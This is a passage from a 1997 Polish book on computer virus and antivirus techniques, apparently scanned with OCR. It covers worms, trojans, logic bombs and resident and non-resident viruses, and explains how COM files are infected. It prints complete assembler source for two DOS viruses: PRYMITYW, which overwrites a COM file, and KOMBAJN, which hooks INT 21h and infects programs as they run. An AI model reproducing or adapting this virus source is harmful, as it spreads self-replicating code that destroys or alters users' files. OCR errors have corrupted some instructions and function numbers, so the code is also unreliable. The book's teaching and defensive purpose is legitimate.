źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem
wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory
wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-
MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE
Randomic Life Generator).
2.6. Robaki (ang. worms)
Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów,
tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania
miejsca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy
towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są
najbardziej popularne w sieciach, gdzie mają do dyspozycji protokoły transmisji
sieciowej, dzięki którym mogą przemieszczać się po całej sieci.
2.7. Konie trojańskie (ang. trojan horses)
Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie
(najczęściej destrukcyjne) często bywa z nim utożsamiany.
Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby
to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo,
program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla
użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na
dysku twardym).
Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne
programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe
do obsługi dysków.
2.8. Bomby logiczne (ang. logical bombs)
O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe
destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie
(najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze
względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu
programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których
pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny,
uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach.
ROZDZIAŁ 3
3.1. Wirusy nierezydentne (ang. non-resident viruses)
Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających
pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy
pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia
żadnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie
znaleziony plik jest infekowany. Ofiary poszukiwane są w bieżącym katalogu i/lub w
katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach
bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje
żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie
programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną
wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu
wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz
łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika.
Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po
uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie
maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy
nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem,
początkujących twórców^ wirusów. O tym, jak prosto napisać najprymitywniejszą wersję
wirusa nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w
asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy
pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po
ewentualnym jego znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest
bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez
siebie plik (jest to wirus
nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia
ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krótkiego czasu
(programy COM przestaną "nagle" działać).
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; PRYMITYW v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prymitywny wirus nierezydentny
nadpisujacy, ;
; atakujacy i niszczacy pierwszy znaleziony
;
; w katalogu plik COM
;
; Kompilacja :
;
; TASM PRYMITYW.ASM
;
; TLINK /t PRYMITYW.OBJ
;
;
;
;----------------------------------------------------------------
------------;
PRYMITYW SEGMENT
ASSUME CS: PRYMITYW, DS:PRYMITYW
ORG 100h
WirDlug = Offset (WirKoniec-WirStart)
; WirDlug okresla dlugosc calego
kodu wirusa
WirStart:
mov cx,20h ; atrybut poszukiwanej pozycji
katalogu (Archive)
mov dx,Offset PlikiCOM ; szukaj plikow *.COM
mov ah,4Fh ; funkcja DOS - szukaj pozycji w
katalogu
int 21h ; wywolaj funkcje
mov ax,3D02h ; funkcja DOS - otworz plik do
odczytu i zapisu
mov dx,9Fh ; nazwa znalezionego pliku w buforze
DTA
; znajdujacym sie pod adresem CS:80h
int 21h ; wywolaj funkcje
xchg ax,bx ; przenies uchwyt pliku z AX do BX
mov cx,WirDlug ; podaj ile bajtow zapisac
mov dx,100h ; zapisuj spod adresu CS:100h
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje
ret ; rownoznaczne z wykonaniem Int 20h
PlikiCOM db '*.COM' ; maska dla poszukiwanych pozycji w
katalogu
WirKoniec:
PRYMITYW ENDS
END WirStart
3.2. Wirusy rezydentne (ang. resident viruses)
Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela
wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali
Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu
operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS,
implementując w typowo jednozadaniowym środowisku mechanizm sztucznej
wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na
zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań
do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang.
Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR,
który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć.
Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy
nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem
przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się
także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika
stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się
poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez
ogólnie dostępne przerwania programowe.
Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory
i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego,
infekującego pliki COM podczas ich uruchamiania.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; KOMBAJN v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus rezydentny plikow COM
;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
; Przejmuje przerwanie 21h
;
; Przejmuje przerwanie 24h na czas infekcji
;
;
;
; Kompilacja :
;
; TASM KOMBAJN.ASM
;
; TLINK /t KOMBAJN.OB J
;
;
;
;----------------------------------------------------------------
------------;
JUMPS
KOMBAJN SEGMENT
ASSUME CS:KOMBAJN, DS:KOMBAJN
ORG 100h
Haslo = 0BACAh ; \ do sprawdzenia,
czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany
w pamieci
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale
atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16
Start: ; poczatek wirusa
PoczatekWirusa: ; pomocnicza etykieta
Call Trik ; zapisz na stosie
relatywny ofset
Trik:
pop si ; zdejmij ze stosu
relatywny ofset
sub si,103h ; oblicz ofset do
poczatku wirusa
mov ax,Haslo ; \ sprawdz, czy wirus
jest
int 21h ; / juz w pamieci
cmp ax,Odpowiedz ; \ czy kopia wirusa
odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz
komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do
nosiciela
InstalacjaWPamieci: ; poczatek instalacji
lea di,TeCopyRight ; \ wyswietl info o
wirusie
Call DrukSI ; /
lea di,TeInstalacja ; \ zapytaj
uzytkownika, czy chce
Call DrukSI ; \ zainstalowac
wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 - uzytkownik
nie chce instalowac
mov ax,3521h ; funkcja DOS - wez
adres INT 21
int 21h ; wywolaj funkcje
mov [si][Stare21Seg],es ; \ zachowaj adres
(wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)
mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP
dec ax ; AX=ES-1=MCB do
aktualnego bloku
mov ds,ax ; DS=blok MCB
mov bx,word ptr ds:[0003h] ; wez dlugosc
aktualnego bloku
sub bx,DlugoscWPamieci+1 ; zmniejsz go o
dlugosc wirusa
mov ah,4Ah ; funkcja DOS - zmien
rozmiar bloku pamieci
int 21h ; wywolaj funkcje
mov bx,DlugoscWPamieci ; podaj dlugosc
wymaganego bloku pamieci
mov ah,48h ; funkcja DOS -
przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 - nie udalo sie
przydzielic
mov es,ax ; ES=wskazuje na
przydzielony blok
xor di,di ; ES:DI - dokad
skopiwoac
cld ; zwiekszaj SI, DI w
REP MOVSB
push si ; SI bedzie zmieniany,
wiec zachowaj
add si,offset PoczatekWirusa ; dodaj ofset : skad
kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow
kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do
ES:DI, CX bajtow
pop si ; przywroc relatywny
ofset
mov ax,es ; pobierz adres do MCB
opisujacego
dec ax ; blok, w ktorym jest
wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa,
jako systemowy
sub ax,0Fh ; \ DS=adres bloku-
10h
mov ds,ax ; \ sztuczka, dzieki
ktorej mozna
; / odwolywac sie do
danych jak w
; / zwyklym programie
COM (ORG 100h)
mov dx,Offset NoweInt21 ; DX=adres do nowej
procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw
adres INT 21
int 21h ; wywolaj funkcje
push cs ; \ wyswietl
komunikat o
pop ds ; \ instalacji w
pamieci
lea di,TeZainstalowany ; \ i segment, w
ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /
PowrocDoNosiciela: ;
push cs cs ; \ przywroc
DS=ES=CS=PSP
pop ds es ; /
mov al,byte ptr [si][StareBajty] ; \ przywroc 3
poczatkowe bajty
mov ds:[100h],al ; \ programu pod
adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /
mov ax,100h ; \ zachowaj na stosie
slad do
push ax ; / adresu 100h
xor ax,ax ; \ dla
bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac
rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /
ret ; powroc do nosiciela
PytanieOInstalacje: ; \ odpowiedz
rezydujacego
xchg al,ah ; - wirusa na
pytanie, czy jest
iret ; / w pamieci
NoweInt21:
cmp ax,4B00h ; czy funkcja DOS -
uruchom program ?
je InfekcjaPliku ; TAK - sprobuj
infekowac
cmp ax,Haslo ; czy pytanie wirusa o
instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz ze
zainstalowany
jmp PowrotZInt21 ; idz do poprzedniego
lancucha
; przerwan
InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane
rejestry
mov cs:StaryDS, ds ; \ zachowaj adres do
nazwy pliku
mov cs:StaryDX, dx ; /
mov ax,3524h ; \ pobierz stara
i ustaw
Call StareInt21 ; \ nowa procedure
obslugi
mov cs:Stare24Seg,es ; \ przerwania
krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu
ochrony
; \ przed
ewentulanymi bledami
push cs ; / (np; podczas
proby zapisu
pop ds ; / na
zabezpieczonej przed
lea dx,NoweInt24 ; / zapisem
dyskietce, nie
mov ax,2524h ; / zostanie
wywolany dialog
Call StareInt21 ; / ARIF)
mov ds,cs:StaryDS ; DS=wskazuje na nazwe
pliku
mov dx,cs:StaryDX ; podaj nazwe pliku
mov ax,4300h ; funkcja DOS - czytaj
atrybut
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad,
wiec powrot
mov cs:Atrybut,cl ; wez stary atrybut
mov ax,4301h ; funkcja DOS - zapisz
atrybut
mov cx,AtrArchive ; podaj nowy atrybut :
Archive
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut
mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt
pliku do BX
mov ax,5700h ; funkcja DOS - wpisz
date, czas
Call StareInt21 ; wywolaj stare
przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku
na pozniej
cmp dx,VZnacznik ; czy plik jest juz
zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik,
powrot
push cs ; \ DS=CS=segment
wirusa
pop ds ; /
mov cx,3 ; ilosc czytanych
bajtow
lea dx,StareBajty ; podaj dokad czytac 3
bajty
mov ah,3Fh ; funkcja DOS - czytaj
z pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [StareBajty] ; wez dwa pierwsze
bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to
nie EXE
je ZamknijPlik ; gdy "MZ", to plik
EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy "ZM", to plik
EXE, powrot
xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
konca pliku
mov ax,4202h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
koniec pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
; DX=starsza czesc
dlugosci pliku
or dx,dx ; czy plik krotszy niz
65536 ?
jnz ZamknijPlik ; nie - nie infekuj
cmp ax,64000 ; czy dlugosc <= 64000
?
jmp ZamknijPlik ; nie - nie infekuj
cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; nie - nie infekuj
sub ax,3 ; odejmij dlugosc
skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora
rozkaz skoku
lea di,TeZnalazlemPlik ; \ zapytaj
uzytkownika
Call Druk ; \ czy chce
zainfekowac
; \ plik
mov di,cs:StaryDX ; \ (nazwa pliku
jest
mov ds,cs:StaryDS ; \
wyswietlana)
Call Druk ; \
; - (dzieki temu
uzytkownik
push cs ; / ma pelna
kontrole nad
pop ds ; / tym, co
wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / gdy CF=1,
uzytkownik nie pozwala
mov cx,DlugoscWirusa ; ilosc zapisywanych
bajtow
mov dx,100h ; podaj skad zapisac
wirusa
mov ah,30h ; funkcja DOS - zapisz
do pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
poczatku pliku
mov ax,4200h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
poczatek pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,3 ; ilosc zapisywanych
bajtow
lea dx,Skok ; podaj skad zapisac
rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz
do pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie
infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas
Call StareInt21 ; wywolaj stare
przerwanie 21h
ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
Call StareInt21 ; wywolaj stare
przerwanie 21h
PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; podaj nazwe pliku do
zmiany
mov ds,cs:StaryDS ; w DS:DX
mov ax,4301h ; funkcja DOS - zmien
atrybut
Call StareInt21 ; wywolaj stare
przerwanie 21h
lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare
przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /
pop di si dx cx bx ax ds es ; przywroc zmieniane
rejestry
PowrotZInt21:
db 0EAh ; mnemonik rozkazu
skoku JMP FAR
Stare21Ofs dw ? ; (z tych pol korzysta
skok
Stare21Seg dw ? ; aby oddac sterowanie
do poprzedniego
; elementu lancucha
przerwan INT 21)
StareInt21:
pushf ; \ symuluj wywolanie
przerwania
Call dword ptr cs:[Stare21Ofs] ; / wywolaj stare
przerwanie
ret ; powroc z wywolania
DrukSI: ; procedura wyswietla
tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla
tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane
rejestry
DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu
(znak=NUL) ?
jz DrukPowrot ; TAK - kocz pisanie
mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje
inc di ; zwieksz indeks (na
nastepny znak)
jmp short DrukPetla ; idz po nastepny znak
DrukPowrot:
pop di ax ; przywroc zmieniane
rejestry
ret ; powrot
DrukHEX16: ; drukuje liczbe
heksalna z AX
push ax ; zachowaj AX
(dokladniej AL)
mov al,ah ; najpierw starsza
czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX
(dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe
heksalna z AL
push ax ; zachowaj AX
(dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez
16,
shr al,1 ; / czyli wez 4
starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc
liczby szesnastkowej
pop ax ; przywroc AX
(dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity
AL
; i wydrukuj czesc
liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby
binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh
na
Cyfra09: ; / '0'..'9',
'A'..'F'
add al,'0' ; /
mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje
ret ; powrot
Decyzja: ; \ pobiera z
klawiatury
mov ah,0h ; \ znak i
sprawdza, czy jest
int 16h ; \ to litera
'T'lub 't'
and al,0DFh ; \ jezeli tak,
ustawia CF=0
cmp al,'T' ; \ jezeli nie,
ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /
NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy
dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania
TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam
Blaszczyk 1997'
db CR,LF,NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci
operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci
!',NUL
TeZainstalowany db CR,LF,'_ KOMBAJN zostal zainstalowany w
segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac
zainfekowac go KOMBAJNEM (T/N) ?',NUL
StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
all:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?
KOMBAJN ends
end start
3.2.1. Szybkie infektory (ang.fast infectors)
Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do
obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co
powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje
jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często
pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu
zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu
jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli
najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast
zainfekowany.
Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla
użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik
stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi,
zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych.
3.2.2. Wolne infektory (ang. slow infectors)
Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie
jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie.
Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur
szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje
lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej
operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż
potwierdza wykonywane przez siebie czynności.
Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane
programy antywirusowe.
ROZDZIAŁ 4
4.1. Pliki
Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na
samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak
liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można
powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które
posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje
operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE),
wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami
wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki
programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM).
Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze
(ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej
budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na
uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz
sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików
COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas
uruchamiania programów (blok wstępny programu, otoczenie programu).
4.1.1. Pliki wykonywalne COM
Ze względu na swą prostą budowę programy typu COM od początku stanowiły
smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci
absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku
pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku
wstępnym PSP i wykonaniu dalekiego skoku na początek programu,
a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM
po załadowaniu do pamięci przedstawia poniższa tabela.
Wygląd programu COM po załadowaniu do pamięci:
Adres (względem segmentu), do którego
został załadowany plik COM
Zawartość pamięci
CS:0000-CS:0100
Blok wstępny PSP (patrz następna tabela)
CS:0000-CS:????
Kod programu załadowany z pliku
Format bloku wstępnego programu PSP
Adres w pamięci
Zawartość
00-01
Kod rozkazu int 21 h (CD 21)
02-03
Adres segmentu pamięci niedostępnej dla programu
04
Nie używane przez DOS, używane wewnętrznie przez OS/2
05-09
Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej
procedury)
06-07
Rozmiar dostępnej pamięci w segmencie
0A-0D
Zapamiętywany adres zakończenia programu (int 22h)
0E-11
Adres programu obsługi CTRL-BREAK (int 23h)
12-15
Adres programu obsługi błędów krytycznych (int 24h)
16-17
Adres do segmentu pamięci, gdzie znajduje się blok PSP
programu rodzicielskiego (interpretator poleceń modyfikuje to
pole i wstawia tam adres swojego PSP)
18-2B
Tablica plików obsługiwanych przez proces JFT (ang. Job File
Table); każdy element tablicy zawiera indeks wskazujący na
element SFT (ang. System File Table) opisujący wszystkie
otwarte w systemie pliki lub też wartość FF, jeżeli element nie
jest używany
2C-2D
Adres segmentu pamięci, w którym znajduje się otoczenie
programu, zawierające definicje zmiennych środowiskowych
systemu DOS, takich jak PATH, PROMPT Ud. Każdy element
otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B
rozszerza otoczenie programu poprzez dodanie jednego słowa
określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle
0001), a następnie umieszcza dalej nazwę uruchamianego
programu. Umożliwia to procesowi dotarcie do pliku na dysku
zawierającego kod uruchomionego programu - jest to parametr
paramstr(0) w Pascalu i argv[0] w C.
2E-31
Zapamiętane wartości SS:SP (używane podczas wywoływania
funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed
przełączeniem się na własny stos
32-33
Liczba elementów tablicy JFT (standardowo =20)
34-37
Daleki wskaźnik do tablicy plików JFT (standardowo CS:18)
umożliwia rozszerzenie ilości plików wykorzystywanych przez
proces
38-3B
Daleki wskaźnik do poprzedniego bloku wstępnego PSP
3C-4F
Pola wykorzystywane wewnętrznie przez różne systemy
operacyjne
50-52
Kod rozkazów: INT 21 h RETF
53-54
Nie używane
55-5B
Nie używane, można użyć, aby zmienić standardowy blok FCB
na rozszerzony blok FCB
5C-6B
Standardowy blok opisu pliku FCB1
6C-7B
Standardowy blok opisu pliku FCB2
7C-7F
Nie używane
80-FF
Bufor transmisji dyskowych DTA. Bezpośrednio po
uruchomieniu programu zawiera jego wiersz wejściowy,
zawierający parametry podane z linii poleceń, zakończony
znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza
wejściowego nie uwzględniając znaku CR.
Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów
ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku
PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie
(zwykle FFFE), na stosie umieszczana jest wartość 0000.
Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy
dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych
bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy
rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością
dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu
sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu
odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod
adres CS:0100h.
Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku
kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na
większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo
wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów.
Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu
infekowanego pliku, jednak ze względu na trudności implementacyjne jest ona rzadko
stosowana.
Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie
większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP,
tworzonego na początku segmentu, do którego ładowany jest program., a wartość 2
wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po
wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu
segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie
może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub
nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt
długiego pliku COM niszczona będzie część programu znajdująca się przy końcu
segmentu (przez wartości zapisywane na stosie).
W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu
wirusem.
Struktura niezainfekowanego pliku COM
Zawartość pliku
Kod programu w tzw. postaci absolutnej
Struktura zainfekowanego pliku COM - wirus dopisuje się na końcu pliku
Zawartość pliku
Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP
NEAR)
Kod zainfekowanego programu
Kod wirusa wraz z zapamiętanymi bajtami początkowymi
